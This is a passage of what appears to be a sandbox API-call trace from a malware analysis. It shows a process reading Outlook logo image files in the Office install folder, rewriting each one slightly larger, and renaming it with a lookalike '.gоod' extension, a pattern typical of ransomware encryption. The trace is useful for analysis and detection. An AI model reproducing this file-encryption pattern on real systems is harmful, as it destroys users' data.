0x1 [0265.401] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9bd [0265.401] ReadFile (in: hFile=0x828, lpBuffer=0x3967db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3967db8*, lpNumberOfBytesRead=0x1fcee238*=0x9bd, lpOverlapped=0x0) returned 1 [0265.672] CloseHandle (hObject=0x828) returned 1 [0265.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0265.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0265.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.811] GetFileType (hFile=0x768) returned 0x1 [0265.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0265.843] GetFileType (hFile=0x768) returned 0x1 [0266.114] WriteFile (in: hFile=0x768, lpBuffer=0x3ad1b20*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3ad1b20*, lpNumberOfBytesWritten=0x1fcee148*=0x9c0, lpOverlapped=0x0) returned 1 [0266.150] CloseHandle (hObject=0x768) returned 1 [0266.174] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0266.177] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x68 [0266.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0266.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9adb0ae3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0266.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0266.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png.gоod")) returned 1 [0266.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0266.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0266.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3b724e0 | out: lpFileInformation=0x3b724e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9a)) returned 1 [0266.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0266.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0266.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0266.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.197] GetFileType (hFile=0x858) returned 0x1 [0266.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0266.198] GetFileType (hFile=0x858) returned 0x1 [0266.198] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd9a [0266.198] ReadFile (in: hFile=0x858, lpBuffer=0x3b745d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3b745d8*, lpNumberOfBytesRead=0x1fcee238*=0xd9a, lpOverlapped=0x0) returned 1 [0266.198] CloseHandle (hObject=0x858) returned 1 [0266.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0266.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0266.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.211] GetFileType (hFile=0x858) returned 0x1 [0266.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0266.211] GetFileType (hFile=0x858) returned 0x1 [0266.211] WriteFile (in: hFile=0x858, lpBuffer=0x3befe80*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3befe80*, lpNumberOfBytesWritten=0x1fcee148*=0xda0, lpOverlapped=0x0) returned 1 [0266.212] CloseHandle (hObject=0x858) returned 1 [0266.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0266.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x68 [0266.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0266.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ae231b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xda0)) returned 1 [0266.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0266.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png.gоod")) returned 1 [0266.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0266.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0266.214] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3bf11c8 | out: lpFileInformation=0x3bf11c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ea)) returned 1 [0266.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0266.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0266.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0266.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.214] GetFileType (hFile=0x858) returned 0x1 [0266.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0266.214] GetFileType (hFile=0x858) returned 0x1 [0266.214] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0266.215] ReadFile (in: hFile=0x858, lpBuffer=0x3bf16c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3bf16c0*, lpNumberOfBytesRead=0x1fcee2d8*=0xea, lpOverlapped=0x0) returned 1 [0266.215] CloseHandle (hObject=0x858) returned 1 [0266.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0266.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0266.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.216] GetFileType (hFile=0x858) returned 0x1 [0266.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0266.216] GetFileType (hFile=0x858) returned 0x1 [0266.216] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x10ea [0266.216] WriteFile (in: hFile=0x858, lpBuffer=0x3bf2a38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3bf2a38*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0266.216] CloseHandle (hObject=0x858) returned 1 [0266.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0266.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0266.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.216] GetFileType (hFile=0x858) returned 0x1 [0266.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0266.217] GetFileType (hFile=0x858) returned 0x1 [0266.217] ReadFile (in: hFile=0x858, lpBuffer=0x3bf4d68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3bf4d68*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0266.398] CloseHandle (hObject=0x858) returned 1 [0266.398] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0266.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0266.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.398] GetFileType (hFile=0x858) returned 0x1 [0266.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0266.398] GetFileType (hFile=0x858) returned 0x1 [0266.398] WriteFile (in: hFile=0x858, lpBuffer=0x38262f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x38262f8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0266.398] CloseHandle (hObject=0x858) returned 1 [0266.398] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0266.399] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x68 [0266.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0266.399] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9afecf64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10fa)) returned 1 [0266.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0266.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png.gоod")) returned 1 [0266.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0266.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0266.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x38c9280 | out: lpFileInformation=0x38c9280*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b250ebf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b250ebf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b250ebf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ac)) returned 1 [0266.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0266.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0266.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0266.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.685] GetFileType (hFile=0x858) returned 0x1 [0266.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0266.724] GetFileType (hFile=0x858) returned 0x1 [0266.724] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8ac [0266.724] ReadFile (in: hFile=0x858, lpBuffer=0x39489c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39489c8*, lpNumberOfBytesRead=0x1fcee238*=0x8ac, lpOverlapped=0x0) returned 1 [0267.440] CloseHandle (hObject=0x858) returned 1 [0270.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0270.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0270.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.046] GetFileType (hFile=0x828) returned 0x1 [0270.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0270.046] GetFileType (hFile=0x828) returned 0x1 [0270.046] WriteFile (in: hFile=0x828, lpBuffer=0x3939740*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3939740*, lpNumberOfBytesWritten=0x1fcee148*=0x8b0, lpOverlapped=0x0) returned 1 [0270.046] CloseHandle (hObject=0x828) returned 1 [0270.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0270.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x67 [0270.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0270.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b250ebf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b250ebf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d2b793c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8b0)) returned 1 [0270.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0270.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png.gоod")) returned 1 [0270.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0270.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0270.048] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x393aa78 | out: lpFileInformation=0x393aa78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa86)) returned 1 [0270.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0270.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0270.048] SetThreadErrorMode (dwNewMode=0x1, 